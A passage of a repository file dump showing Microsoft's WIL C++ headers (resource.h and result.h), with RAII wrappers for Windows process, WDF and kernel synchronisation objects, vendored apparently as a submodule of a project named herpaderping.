PROCESS_INFORMATION* p)\n {\n if (p->hProcess)\n {\n CloseHandle(p->hProcess);\n }\n\n if (p->hThread)\n {\n CloseHandle(p->hThread);\n }\n }\n }\n /// @endcond\n\n /** Manages the outbound parameter containing handles returned by `CreateProcess()` and related methods.\n ~~~\n unique_process_information process;\n CreateProcessW(..., CREATE_SUSPENDED, ..., &process);\n THROW_IF_WIN32_BOOL_FALSE(ResumeThread(process.hThread));\n THROW_LAST_ERROR_IF(WaitForSingleObject(process.hProcess, INFINITE) != WAIT_OBJECT_0);\n ~~~\n */\n using unique_process_information = unique_struct;\n#endif\n\n#if defined(_PROCESSENV_) && !defined(__WIL__PROCESSENV_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM)\n#define __WIL__PROCESSENV_\n /** Manages lifecycle of an environment-strings block\n ~~~\n wil::unique_environstrings_ptr env { ::GetEnvironmentStringsW() };\n const wchar_t *nextVar = env.get();\n while (nextVar && *nextVar)\n {\n // consume 'nextVar'\n nextVar += wcslen(nextVar) + 1;\n }\n ~~~\n */\n using unique_environstrings_ptr = wistd::unique_ptr>;\n\n#ifndef WIL_NO_ANSI_STRINGS\n //! ANSI equivalent to unique_environstrings_ptr;\n using unique_environansistrings_ptr = wistd::unique_ptr>;\n#endif\n#endif\n\n#if defined(_APPMODEL_H_) && !defined(__WIL_APPMODEL_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_APPMODEL_H_\n typedef unique_any unique_package_info_reference;\n#endif // __WIL_APPMODEL_H_\n#if defined(__WIL_APPMODEL_H_) && !defined(__WIL_APPMODEL_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_APPMODEL_H_STL\n typedef shared_any shared_package_info_reference;\n typedef weak_any weak_package_info_reference;\n#endif // __WIL_APPMODEL_H_STL\n\n#if defined(WDFAPI) && !defined(__WIL_WDFAPI)\n#define __WIL_WDFAPI\n\n namespace details\n {\n template\n using wdf_object_resource_policy = resource_policy;\n }\n\n template\n using unique_wdf_any = unique_any_t>>;\n\n using unique_wdf_object = unique_wdf_any;\n\n using unique_wdf_timer = unique_wdf_any;\n using unique_wdf_work_item = unique_wdf_any;\n\n using unique_wdf_memory = unique_wdf_any;\n\n using unique_wdf_dma_enabler = unique_wdf_any;\n using unique_wdf_dma_transaction = unique_wdf_any;\n using unique_wdf_common_buffer = unique_wdf_any;\n\n using unique_wdf_key = unique_wdf_any;\n using unique_wdf_string = unique_wdf_any;\n using unique_wdf_collection = unique_wdf_any;\n\n using wdf_wait_lock_release_scope_exit =\n unique_any<\n WDFWAITLOCK,\n decltype(&::WdfWaitLockRelease),\n ::WdfWaitLockRelease,\n details::pointer_access_none>;\n\n inline\n WI_NODISCARD\n _IRQL_requires_max_(PASSIVE_LEVEL)\n _Acquires_lock_(lock)\n wdf_wait_lock_release_scope_exit\n acquire_wdf_wait_lock(WDFWAITLOCK lock) WI_NOEXCEPT\n {\n ::WdfWaitLockAcquire(lock, nullptr);\n return wdf_wait_lock_release_scope_exit(lock);\n }\n\n inline\n WI_NODISCARD\n _IRQL_requires_max_(APC_LEVEL)\n _When_(return, _Acquires_lock_(lock))\n wdf_wait_lock_release_scope_exit\n try_acquire_wdf_wait_lock(WDFWAITLOCK lock) WI_NOEXCEPT\n {\n LONGLONG timeout = 0;\n NTSTATUS status = ::WdfWaitLockAcquire(lock, &timeout);\n if (status == STATUS_SUCCESS)\n {\n return wdf_wait_lock_release_scope_exit(lock);\n }\n else\n {\n return wdf_wait_lock_release_scope_exit();\n }\n }\n\n using wdf_spin_lock_release_scope_exit =\n unique_any<\n WDFSPINLOCK,\n decltype(&::WdfSpinLockRelease),\n ::WdfSpinLockRelease,\n details::pointer_access_none>;\n\n inline\n WI_NODISCARD\n _IRQL_requires_max_(DISPATCH_LEVEL)\n _IRQL_raises_(DISPATCH_LEVEL)\n _Acquires_lock_(lock)\n wdf_spin_lock_release_scope_exit\n acquire_wdf_spin_lock(WDFSPINLOCK lock) WI_NOEXCEPT\n {\n ::WdfSpinLockAcquire(lock);\n return wdf_spin_lock_release_scope_exit(lock);\n }\n\n namespace details\n {\n template\n using unique_wdf_lock_storage = unique_storage>;\n\n class unique_wdf_spin_lock_storage : public unique_wdf_lock_storage\n {\n using wdf_lock_storage_t = unique_wdf_lock_storage;\n\n public:\n using pointer = wdf_lock_storage_t::pointer;\n\n // Forward all base class constructors, but have it be explicit.\n template \n explicit unique_wdf_spin_lock_storage(args_t&& ... args) WI_NOEXCEPT : wdf_lock_storage_t(wistd::forward(args)...) {}\n\n NTSTATUS create(_In_opt_ WDF_OBJECT_ATTRIBUTES* attributes = WDF_NO_OBJECT_ATTRIBUTES)\n {\n return ::WdfSpinLockCreate(attributes, out_param(*this));\n }\n\n WI_NODISCARD\n _IRQL_requires_max_(DISPATCH_LEVEL)\n _IRQL_raises_(DISPATCH_LEVEL)\n wdf_spin_lock_release_scope_exit acquire() WI_NOEXCEPT\n {\n return wil::acquire_wdf_spin_lock(wdf_lock_storage_t::get());\n }\n };\n\n class unique_wdf_wait_lock_storage : public unique_wdf_lock_storage\n {\n using wdf_lock_storage_t = unique_wdf_lock_storage;\n\n public:\n using pointer = wdf_lock_storage_t::pointer;\n\n // Forward all base class constructors, but have it be explicit.\n template \n explicit unique_wdf_wait_lock_storage(args_t&& ... args) WI_NOEXCEPT : wdf_lock_storage_t(wistd::forward(args)...) {}\n\n NTSTATUS create(_In_opt_ WDF_OBJECT_ATTRIBUTES* attributes = WDF_NO_OBJECT_ATTRIBUTES)\n {\n return ::WdfWaitLockCreate(attributes, out_param(*this));\n }\n\n WI_NODISCARD\n _IRQL_requires_max_(PASSIVE_LEVEL)\n wdf_wait_lock_release_scope_exit acquire() WI_NOEXCEPT\n {\n return wil::acquire_wdf_wait_lock(wdf_lock_storage_t::get());\n }\n\n WI_NODISCARD\n _IRQL_requires_max_(APC_LEVEL)\n wdf_wait_lock_release_scope_exit try_acquire() WI_NOEXCEPT\n {\n return wil::try_acquire_wdf_wait_lock(wdf_lock_storage_t::get());\n }\n };\n }\n\n using unique_wdf_wait_lock = unique_any_t;\n using unique_wdf_spin_lock = unique_any_t;\n\n template\n struct wdf_object_reference\n {\n TWDFOBJECT wdfObject = WDF_NO_HANDLE;\n PVOID tag = nullptr;\n\n wdf_object_reference() WI_NOEXCEPT = default;\n\n wdf_object_reference(TWDFOBJECT wdfObject, PVOID tag = nullptr) WI_NOEXCEPT\n : wdfObject(wdfObject), tag(tag)\n {\n }\n\n operator TWDFOBJECT() const WI_NOEXCEPT\n {\n return wdfObject;\n }\n\n static void close(const wdf_object_reference& wdfObjectReference) WI_NOEXCEPT\n {\n // We don't use WdfObjectDereferenceActual because there is no way to provide the\n // correct __LINE__ and __FILE__, but if you use RAII all the way, you shouldn't have to\n // worry about where it was released, only where it was acquired.\n WdfObjectDereferenceWithTag(wdfObjectReference.wdfObject, wdfObjectReference.tag);\n }\n };\n\n template\n using unique_wdf_object_reference = unique_any::close),\n &wdf_object_reference::close, details::pointer_access_noaddress, wdf_object_reference>;\n\n // Increment the ref-count on a WDF object a unique_wdf_object_reference for it. Use\n // WI_WdfObjectReferenceIncrement to automatically use the call-site source location. Use this\n // function only if the call-site source location is obtained from elsewhere (i.e., plumbed\n // through other abstractions).\n template\n inline WI_NODISCARD unique_wdf_object_reference wdf_object_reference_increment(\n TWDFOBJECT wdfObject, PVOID tag, LONG lineNumber, PCSTR fileName) WI_NOEXCEPT\n {\n // Parameter is incorrectly marked as non-const, so the const-cast is required.\n ::WdfObjectReferenceActual(wdfObject, tag, lineNumber, const_cast(fileName));\n return unique_wdf_object_reference{ wdf_object_reference{ wdfObject, tag } };\n }\n\n// A macro so that we can capture __LINE__ and __FILE__.\n#define WI_WdfObjectReferenceIncrement(wdfObject, tag) \\\n wil::wdf_object_reference_increment(wdfObject, tag, __LINE__, __FILE__)\n\n#endif\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) && \\\n defined(_CFGMGR32_H_) && \\\n (WINVER >= _WIN32_WINNT_WIN8) && \\\n !defined(__WIL_CFGMGR32_H_)\n#define __WIL_CFGMGR32_H_\n typedef unique_any unique_hcmnotification;\n#endif\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) && \\\n defined(_SWDEVICE_H_) && \\\n (WINVER >= _WIN32_WINNT_WIN8) && \\\n !defined(__WIL_SWDEVICE_H_)\n#define __WIL_SWDEVICE_H_\n typedef unique_any unique_hswdevice;\n#endif\n\n#if defined(WIL_KERNEL_MODE) && (defined(_WDMDDK_) || defined(_NTDDK_)) && !defined(__WIL_RESOURCE_WDM)\n#define __WIL_RESOURCE_WDM\n\n namespace details\n {\n struct kspin_lock_saved_irql\n {\n PKSPIN_LOCK spinLock = nullptr;\n KIRQL savedIrql = PASSIVE_LEVEL;\n\n kspin_lock_saved_irql() = default;\n\n kspin_lock_saved_irql(PKSPIN_LOCK /* spinLock */)\n {\n // This constructor exists simply to allow conversion of the pointer type to\n // pointer_storage type when constructing an invalid instance. The spinLock pointer\n // is expected to be nullptr.\n }\n\n // Exists to satisfy the interconvertibility requirement for pointer_storage and\n // pointer.\n explicit operator PKSPIN_LOCK() const\n {\n return spinLock;\n }\n\n _IRQL_requires_(DISPATCH_LEVEL)\n static\n void Release(_In_ _IRQL_restores_ const kspin_lock_saved_irql& spinLockSavedIrql)\n {\n KeReleaseSpinLock(spinLockSavedIrql.spinLock, spinLockSavedIrql.savedIrql);\n }\n };\n\n // On some architectures KeReleaseSpinLockFromDpcLevel is a macro, and we need a thunk\n // function we can take the address of.\n inline\n _IRQL_requires_min_(DISPATCH_LEVEL)\n void __stdcall ReleaseSpinLockFromDpcLevel(_Inout_ PKSPIN_LOCK spinLock) WI_NOEXCEPT\n {\n KeReleaseSpinLockFromDpcLevel(spinLock);\n }\n }\n\n using kspin_lock_guard = unique_any;\n\n using kspin_lock_at_dpc_guard = unique_any;\n\n WI_NODISCARD\n inline\n _IRQL_requires_max_(DISPATCH_LEVEL)\n _IRQL_saves_\n _IRQL_raises_(DISPATCH_LEVEL)\n kspin_lock_guard\n acquire_kspin_lock(_In_ PKSPIN_LOCK spinLock)\n {\n details::kspin_lock_saved_irql spinLockSavedIrql;\n KeAcquireSpinLock(spinLock, &spinLockSavedIrql.savedIrql);\n spinLockSavedIrql.spinLock = spinLock;\n return kspin_lock_guard(spinLockSavedIrql);\n }\n\n WI_NODISCARD\n inline\n _IRQL_requires_min_(DISPATCH_LEVEL)\n kspin_lock_at_dpc_guard\n acquire_kspin_lock_at_dpc(_In_ PKSPIN_LOCK spinLock)\n {\n KeAcquireSpinLockAtDpcLevel(spinLock);\n return kspin_lock_at_dpc_guard(spinLock);\n }\n\n class kernel_spin_lock\n {\n public:\n kernel_spin_lock() WI_NOEXCEPT\n {\n ::KeInitializeSpinLock(&m_kSpinLock);\n }\n\n ~kernel_spin_lock() = default;\n\n // Cannot change memory location.\n kernel_spin_lock(const kernel_spin_lock&) = delete;\n kernel_spin_lock& operator=(const kernel_spin_lock&) = delete;\n kernel_spin_lock(kernel_spin_lock&&) = delete;\n kernel_spin_lock& operator=(kernel_spin_lock&&) = delete;\n\n WI_NODISCARD\n _IRQL_requires_max_(DISPATCH_LEVEL)\n _IRQL_saves_\n _IRQL_raises_(DISPATCH_LEVEL)\n kspin_lock_guard acquire() WI_NOEXCEPT\n {\n return acquire_kspin_lock(&m_kSpinLock);\n }\n\n WI_NODISCARD\n _IRQL_requires_min_(DISPATCH_LEVEL)\n kspin_lock_at_dpc_guard acquire_at_dpc() WI_NOEXCEPT\n {\n return acquire_kspin_lock_at_dpc(&m_kSpinLock);\n }\n\n private:\n KSPIN_LOCK m_kSpinLock;\n };\n\n namespace details\n {\n template \n class kernel_event_t\n {\n public:\n explicit kernel_event_t(bool isSignaled = false) WI_NOEXCEPT\n {\n ::KeInitializeEvent(&m_kernelEvent, static_cast(eventType), isSignaled ? TRUE : FALSE);\n }\n\n // Cannot change memory location.\n kernel_event_t(const kernel_event_t&) = delete;\n kernel_event_t(kernel_event_t&&) = delete;\n kernel_event_t& operator=(const kernel_event_t&) = delete;\n kernel_event_t& operator=(kernel_event_t&&) = delete;\n\n // Get the underlying KEVENT structure for more advanced usages like\n // KeWaitForMultipleObjects or KeWaitForSingleObject with non-default parameters.\n PRKEVENT get() WI_NOEXCEPT\n {\n return &m_kernelEvent;\n }\n\n void clear() WI_NOEXCEPT\n {\n // The most common use-case is to clear the event with no interest in its previous\n // value. Hence, that is the functionality we provide by default. If the previous\n // value is required, one may .get() the underlying event object and call\n // ::KeResetEvent().\n ::KeClearEvent(&m_kernelEvent);\n }\n\n // Returns the previous state of the event.\n bool set(KPRIORITY increment = IO_NO_INCREMENT) WI_NOEXCEPT\n {\n return ::KeSetEvent(&m_kernelEvent, increment, FALSE) ? true : false;\n }\n\n // Checks if the event is currently signaled. Does not change the state of the event.\n bool is_signaled() const WI_NOEXCEPT\n {\n return ::KeReadStateEvent(const_cast(&m_kernelEvent)) ? true : false;\n }\n\n // Return true if the wait was satisfied. Time is specified in 100ns units, relative\n // (negative) or absolute (positive). For more details, see the documentation of\n // KeWaitForSingleObject.\n bool wait(LONGLONG waitTime) WI_NOEXCEPT\n {\n LARGE_INTEGER duration;\n duration.QuadPart = waitTime;\n return wait_for_single_object(&duration);\n }\n\n // Waits indefinitely for the event to be signaled.\n void wait() WI_NOEXCEPT\n {\n wait_for_single_object(nullptr);\n }\n\n private:\n bool wait_for_single_object(_In_opt_ LARGE_INTEGER* waitDuration) WI_NOEXCEPT\n {\n auto status = ::KeWaitForSingleObject(&m_kernelEvent, Executive, KernelMode, FALSE, waitDuration);\n\n // We specified Executive and non-alertable, which means some of the return values are\n // not possible.\n WI_ASSERT((status == STATUS_SUCCESS) || (status == STATUS_TIMEOUT));\n return (status == STATUS_SUCCESS);\n }\n\n KEVENT m_kernelEvent;\n };\n }\n\n using kernel_event_auto_reset = details::kernel_event_t;\n using kernel_event_manual_reset = details::kernel_event_t;\n using kernel_event = kernel_event_auto_reset; // For parity with the default for other WIL event types.\n\n /**\n RAII class and lock-guards for a kernel FAST_MUTEX.\n */\n\n using fast_mutex_guard = unique_any;\n\n WI_NODISCARD\n inline\n _IRQL_requires_max_(APC_LEVEL)\n fast_mutex_guard acquire_fast_mutex(FAST_MUTEX* fastMutex) WI_NOEXCEPT\n {\n ::ExAcquireFastMutex(fastMutex);\n return fast_mutex_guard(fastMutex);\n }\n\n WI_NODISCARD\n inline\n _IRQL_requires_max_(APC_LEVEL)\n fast_mutex_guard try_acquire_fast_mutex(FAST_MUTEX* fastMutex) WI_NOEXCEPT\n {\n if (::ExTryToAcquireFastMutex(fastMutex))\n {\n return fast_mutex_guard(fastMutex);\n }\n else\n {\n return fast_mutex_guard();\n }\n }\n\n class fast_mutex\n {\n public:\n fast_mutex() WI_NOEXCEPT\n {\n ::ExInitializeFastMutex(&m_fastMutex);\n }\n\n ~fast_mutex() WI_NOEXCEPT = default;\n\n // Cannot change memory location.\n fast_mutex(const fast_mutex&) = delete;\n fast_mutex& operator=(const fast_mutex&) = delete;\n fast_mutex(fast_mutex&&) = delete;\n fast_mutex& operator=(fast_mutex&&) = delete;\n\n // Calls ExAcquireFastMutex. Returned wil::unique_any object calls ExReleaseFastMutex on\n // destruction.\n WI_NODISCARD\n _IRQL_requires_max_(APC_LEVEL)\n fast_mutex_guard acquire() WI_NOEXCEPT\n {\n return acquire_fast_mutex(&m_fastMutex);\n }\n\n // Calls ExTryToAcquireFastMutex. Returned wil::unique_any may be empty. If non-empty, it\n // calls ExReleaseFastMutex on destruction.\n WI_NODISCARD\n _IRQL_requires_max_(APC_LEVEL)\n fast_mutex_guard try_acquire() WI_NOEXCEPT\n {\n return try_acquire_fast_mutex(&m_fastMutex);\n }\n\n private:\n FAST_MUTEX m_fastMutex;\n };\n\n namespace details\n {\n _IRQL_requires_max_(APC_LEVEL)\n inline void release_fast_mutex_with_critical_region(FAST_MUTEX* fastMutex) WI_NOEXCEPT\n {\n ::ExReleaseFastMutexUnsafe(fastMutex);\n ::KeLeaveCriticalRegion();\n }\n }\n\n using fast_mutex_with_critical_region_guard =\n unique_any;\n\n WI_NODISCARD\n inline\n _IRQL_requires_max_(APC_LEVEL)\n fast_mutex_with_critical_region_guard acquire_fast_mutex_with_critical_region(FAST_MUTEX* fastMutex) WI_NOEXCEPT\n {\n ::KeEnterCriticalRegion();\n ::ExAcquireFastMutexUnsafe(fastMutex);\n return fast_mutex_with_critical_region_guard(fastMutex);\n }\n\n // A FAST_MUTEX lock class that calls KeEnterCriticalRegion and then ExAcquireFastMutexUnsafe.\n // Returned wil::unique_any lock-guard calls ExReleaseFastMutexUnsafe and KeLeaveCriticalRegion\n // on destruction. This is useful if calling code wants to stay at PASSIVE_LEVEL.\n class fast_mutex_with_critical_region\n {\n public:\n fast_mutex_with_critical_region() WI_NOEXCEPT\n {\n ::ExInitializeFastMutex(&m_fastMutex);\n }\n\n ~fast_mutex_with_critical_region() WI_NOEXCEPT = default;\n\n // Cannot change memory location.\n fast_mutex_with_critical_region(const fast_mutex_with_critical_region&) = delete;\n fast_mutex_with_critical_region& operator=(const fast_mutex_with_critical_region&) = delete;\n fast_mutex_with_critical_region(fast_mutex_with_critical_region&&) = delete;\n fast_mutex_with_critical_region& operator=(fast_mutex_with_critical_region&&) = delete;\n\n WI_NODISCARD\n _IRQL_requires_max_(APC_LEVEL)\n fast_mutex_with_critical_region_guard acquire() WI_NOEXCEPT\n {\n return acquire_fast_mutex_with_critical_region(&m_fastMutex);\n }\n\n private:\n FAST_MUTEX m_fastMutex;\n };\n\n namespace details\n {\n _IRQL_requires_max_(APC_LEVEL)\n inline void release_push_lock_exclusive(EX_PUSH_LOCK* pushLock) WI_NOEXCEPT\n {\n ::ExReleasePushLockExclusive(pushLock);\n ::KeLeaveCriticalRegion();\n }\n\n _IRQL_requires_max_(APC_LEVEL)\n inline void release_push_lock_shared(EX_PUSH_LOCK* pushLock) WI_NOEXCEPT\n {\n ::ExReleasePushLockShared(pushLock);\n ::KeLeaveCriticalRegion();\n }\n }\n\n using push_lock_exclusive_guard =\n unique_any;\n\n using push_lock_shared_guard =\n unique_any;\n\n WI_NODISCARD\n inline\n _IRQL_requires_max_(APC_LEVEL)\n push_lock_exclusive_guard acquire_push_lock_exclusive(EX_PUSH_LOCK* pushLock) WI_NOEXCEPT\n {\n ::KeEnterCriticalRegion();\n ::ExAcquirePushLockExclusive(pushLock);\n return push_lock_exclusive_guard(pushLock);\n }\n\n WI_NODISCARD\n inline\n _IRQL_requires_max_(APC_LEVEL)\n push_lock_shared_guard acquire_push_lock_shared(EX_PUSH_LOCK* pushLock) WI_NOEXCEPT\n {\n ::KeEnterCriticalRegion();\n ::ExAcquirePushLockShared(pushLock);\n return push_lock_shared_guard(pushLock);\n }\n\n class push_lock\n {\n public:\n push_lock() WI_NOEXCEPT\n {\n ::ExInitializePushLock(&m_pushLock);\n }\n\n ~push_lock() WI_NOEXCEPT = default;\n\n // Cannot change memory location.\n push_lock(const push_lock&) = delete;\n push_lock& operator=(const push_lock&) = delete;\n push_lock(push_lock&&) = delete;\n push_lock& operator=(push_lock&&) = delete;\n\n WI_NODISCARD\n _IRQL_requires_max_(APC_LEVEL)\n push_lock_exclusive_guard acquire_exclusive() WI_NOEXCEPT\n {\n return acquire_push_lock_exclusive(&m_pushLock);\n }\n\n WI_NODISCARD\n _IRQL_requires_max_(APC_LEVEL)\n push_lock_shared_guard acquire_shared() WI_NOEXCEPT\n {\n return acquire_push_lock_shared(&m_pushLock);\n }\n\n private:\n EX_PUSH_LOCK m_pushLock;\n };\n\n namespace details\n {\n // Define a templated type for pool functions in order to satisfy overload resolution below\n template \n struct pool_helpers\n {\n static inline\n _IRQL_requires_max_(DISPATCH_LEVEL)\n void __stdcall FreePoolWithTag(pointer value) WI_NOEXCEPT\n {\n if (value)\n {\n ExFreePoolWithTag(value, tag);\n }\n }\n };\n }\n\n template \n using unique_tagged_pool_ptr = unique_any::FreePoolWithTag), &details::pool_helpers::FreePoolWithTag>;\n\n // For use with IRPs that need to be IoFreeIrp'ed when done, typically allocated using IoAllocateIrp.\n using unique_allocated_irp = wil::unique_any;\n using unique_io_workitem = wil::unique_any;\n\n#endif // __WIL_RESOURCE_WDM\n\n#if defined(WIL_KERNEL_MODE) && (defined(_WDMDDK_) || defined(_ZWAPI_)) && !defined(__WIL_RESOURCE_ZWAPI)\n#define __WIL_RESOURCE_ZWAPI\n\n using unique_kernel_handle = wil::unique_any;\n\n#endif // __WIL_RESOURCE_ZWAPI\n\n} // namespace wil\n\n#pragma warning(pop)\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/result.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_RESULT_INCLUDED\n#define __WIL_RESULT_INCLUDED\n\n// Most functionality is picked up from result_macros.h. This file specifically provides higher level processing of errors when\n// they are encountered by the underlying macros.\n#include \"result_macros.h\"\n\n// Note that we avoid pulling in STL's memory header from Result.h through Resource.h as we have\n// Result.h customers who are still on older versions of STL (without std::shared_ptr<>).\n#ifndef RESOURCE_SUPPRESS_STL\n#define RESOURCE_SUPPRESS_STL\n#include \"resource.h\"\n#undef RESOURCE_SUPPRESS_STL\n#else\n#include \"resource.h\"\n#endif\n\n#ifdef WIL_KERNEL_MODE\n#error This header is not supported in kernel-mode.\n#endif\n\n// The updated behavior of running init-list ctors during placement new is proper & correct, disable the warning that requests developers verify they want it\n#pragma warning(push)\n#pragma warning(disable : 4351)\n\nnamespace wil\n{\n // WARNING: EVERYTHING in this namespace must be handled WITH CARE as the entities defined within\n // are used as an in-proc ABI contract between binaries that utilize WIL. Making changes\n // that add v-tables or change the storage semantics of anything herein needs to be done\n // with care and respect to versioning.\n ///@cond\n namespace details_abi\n {\n #define __WI_SEMAHPORE_VERSION L\"_p0\"\n\n // This class uses named semaphores to be able to stash a numeric value (including a pointer\n // for retrieval from within any module in a process). This is a very specific need of a\n // header-based library that should not be generally used.\n //\n // Notes for use:\n // * Data members must be stable unless __WI_SEMAHPORE_VERSION is changed\n // * The class must not reference module code (v-table, function pointers, etc)\n // * Use of this class REQUIRES that there be a MUTEX held around the semaphore manipulation\n // and tests as it doesn't attempt to handle thread contention on the semaphore while manipulating\n // the count.\n // * This class supports storing a 31-bit number of a single semaphore or a 62-bit number across\n // two semaphores and directly supports pointers.\n\n class SemaphoreValue\n {\n public:\n SemaphoreValue() = default;\n SemaphoreValue(const SemaphoreValue&) = delete;\n SemaphoreValue& operator=(const SemaphoreValue&) = delete;\n\n SemaphoreValue(SemaphoreValue&& other) WI_NOEXCEPT :\n m_semaphore(wistd::move(other.m_semaphore)),\n m_semaphoreHigh(wistd::move(other.m_semaphoreHigh))\n {\n static_assert(sizeof(m_semaphore) == sizeof(HANDLE), \"unique_any must be a direct representation of the HANDLE to be used across module\");\n }\n\n void Destroy()\n {\n m_semaphore.reset();\n m_semaphoreHigh.reset();\n }\n\n template \n HRESULT CreateFromValue(PCWSTR name, T value)\n {\n return CreateFromValueInternal(name, (sizeof(value) > sizeof(unsigned long)), static_cast(value));\n }\n\n HRESULT CreateFromPointer(PCWSTR name, void* pointer)\n {\n ULONG_PTR value = reinterpret_cast(pointer);\n FAIL_FAST_IMMEDIATE_IF(WI_IsAnyFlagSet(value, 0x3));\n return CreateFromValue(name, value >> 2);\n }\n\n template \n static HRESULT TryGetValue(PCWSTR name, _Out_ T* value, _Out_opt_ bool *retrieved = nullptr)\n {\n *value = static_cast(0);\n unsigned __int64 value64 = 0;\n __WIL_PRIVATE_RETURN_IF_FAILED(TryGetValueInternal(name, (sizeof(T) > sizeof(unsigned long)), &value64, retrieved));\n *value = static_cast(value64);\n return S_OK;\n }\n\n static HRESULT TryGetPointer(PCWSTR name, _Outptr_result_maybenull_ void** pointer)\n {\n *pointer = nullptr;\n ULONG_PTR value = 0;\n __WIL_PRIVATE_RETURN_IF_FAILED(TryGetValue(name, &value));\n *pointer = reinterpret_cast(value << 2);\n return S_OK;\n }\n\n private:\n HRESULT CreateFromValueInternal(PCWSTR name, bool is64Bit, unsigned __int64 value)\n {\n WI_ASSERT(!m_semaphore && !m_semaphoreHigh); // call Destroy first\n\n // This routine only supports 31 bits when semahporeHigh is not supplied or 62 bits when the value\n // is supplied. It's a programming error to use it when either of these conditions are not true.\n\n FAIL_FAST_IMMEDIATE_IF((!is64Bit && WI_IsAnyFlagSet(value, 0xFFFFFFFF80000000)) ||\n (is64Bit && WI_IsAnyFlagSet(value, 0xC000000000000000)));\n\n wchar_t localName[MAX_PATH];\n WI_VERIFY_SUCCEEDED(StringCchCopyW(localName, ARRAYSIZE(localName), name));\n WI_VERIFY_SUCCEEDED(StringCchCatW(localName, ARRAYSIZE(localName), __WI_SEMAHPORE_VERSION));\n\n const unsigned long highPart = static_cast(value >> 31);\n const unsigned long lowPart = static_cast(value & 0x000000007FFFFFFF);\n\n // We set the count of the semaphore equal to the max (the value we're storing). The only exception to that\n // is ZERO, where you can't create a semaphore of value ZERO, where we push the max to one and use a count of ZERO.\n\n __WIL_PRIVATE_RETURN_IF_FAILED(m_semaphore.create(static_cast(lowPart), static_cast((lowPart > 0) ? lowPart : 1), localName));\n if (is64Bit)\n {\n WI_VERIFY_SUCCEEDED(StringCchCatW(localName, ARRAYSIZE(localName), L\"h\"));\n __WIL_PRIVATE_RETURN_IF_FAILED(m_semaphoreHigh.create(static_cast(highPart), static_cast((highPart > 0) ? highPart : 1), localName));\n }\n\n return S_OK;\n }\n\n static HRESULT GetValueFromSemaphore(HANDLE semaphore, _Out_ LONG* count)\n {\n // First we consume a single count from the semaphore. This will work in all cases other\n // than the case where the count we've recorded is ZERO which will TIMEOUT.\n\n DWORD result = ::WaitForSingleObject(semaphore, 0);\n __WIL_PRIVATE_RETURN_LAST_ERROR_IF(result == WAIT_FAILED);\n __WIL_PRIVATE_RETURN_HR_IF(E_UNEXPECTED, !((result == WAIT_OBJECT_0) || (result == WAIT_TIMEOUT)));\n\n LONG value = 0;\n if (result == WAIT_OBJECT_0)\n {\n // We were able to wait. To establish our count, all we have to do is release that count\n // back to the semaphore and observe the value that we released.\n\n __WIL_PRIVATE_RETURN_IF_WIN32_BOOL_FALSE(::ReleaseSemaphore(semaphore, 1, &value));\n value++; // we waited first, so our actual value is one more than the old value\n\n // Make sure the value is correct by validating that we have no more posts.\n BOOL expectedFailure = ::ReleaseSemaphore(semaphore, 1, nullptr);\n __WIL_PRIVATE_RETURN_HR_IF(E_UNEXPECTED, expectedFailure || (::GetLastError() != ERROR_TOO_MANY_POSTS));\n }\n else\n {\n WI_ASSERT(result == WAIT_TIMEOUT);\n\n // We know at this point that the value is ZERO. We'll do some verification to ensure that\n // this address is right by validating that we have one and only one more post that we could use.\n\n LONG expected = 0;\n __WIL_PRIVATE_RETURN_IF_WIN32_BOOL_FALSE(::ReleaseSemaphore(semaphore, 1, &expected));\n __WIL_PRIVATE_RETURN_HR_IF(E_UNEXPECTED, expected != 0);\n\n const BOOL expectedFailure = ::ReleaseSemaphore(semaphore, 1, nullptr);\n __WIL_PRIVATE_RETURN_HR_IF(E_UNEXPECTED, expectedFailure || (::GetLastError() != ERROR_TOO_MANY_POSTS));\n\n result = ::WaitForSingleObject(semaphore, 0);\n __WIL_PRIVATE_RETURN_LAST_ERROR_IF(result == WAIT_FAILED);\n __WIL_PRIVATE_RETURN_HR_IF(E_UNEXPECTED, result != WAIT_OBJECT_0);\n }\n\n *count = value;\n return S_OK;\n }\n\n static HRESULT TryGetValueInternal(PCWSTR name, bool is64Bit, _Out_ unsigned __int64* value, _Out_opt_ bool* retrieved)\n {\n assign_to_opt_param(retrieved, false);\n *value = 0;\n\n wchar_t localName[MAX_PATH];\n WI_VERIFY_SUCCEEDED(StringCchCopyW(localName, ARRAYSIZE(localName), name));\n WI_VERIFY_SUCCEEDED(StringCchCatW(localName, ARRAYSIZE(localName), __WI_SEMAHPORE_VERSION));\n\n wil::unique_semaphore_nothrow semaphoreLow(::OpenSemaphoreW(SEMAPHORE_ALL_ACCESS, FALSE, localName));\n if (!semaphoreLow)\n {\n __WIL_PRIVATE_RETURN_HR_IF(S_OK, (::GetLastError() == ERROR_FILE_NOT_FOUND));\n __WIL_PRIVATE_RETURN_LAST_ERROR();\n }\n\n LONG countLow = 0;\n LONG countHigh = 0;\n\n __WIL_PRIVATE_RETURN_IF_FAILED(GetValueFromSemaphore(semaphoreLow.get(), &countLow));\n\n if (is64Bit)\n {\n WI_VERIFY_SUCCEEDED(StringCchCatW(localName, ARRAYSIZE(localName), L\"h\"));\n wil::unique_semaphore_nothrow semaphoreHigh(::OpenSemaphoreW(SEMAPHORE_ALL_ACCESS, FALSE, localName));\n __WIL_PRIVATE_RETURN_LAST_ERROR_IF_NULL(semaphoreHigh);\n\n __WIL_PRIVATE_RETURN_IF_FAILED(GetValueFromSemaphore(semaphoreHigh.get(), &countHigh));\n }\n\n WI_ASSERT((countLow >= 0) && (countHigh >= 0));\n\n const unsigned __int64 newValueHigh = (static_cast(countHigh) << 31);\n const unsigned __int64 newValueLow = static_cast(countLow);\n\n assign_to_opt_param(retrieved, 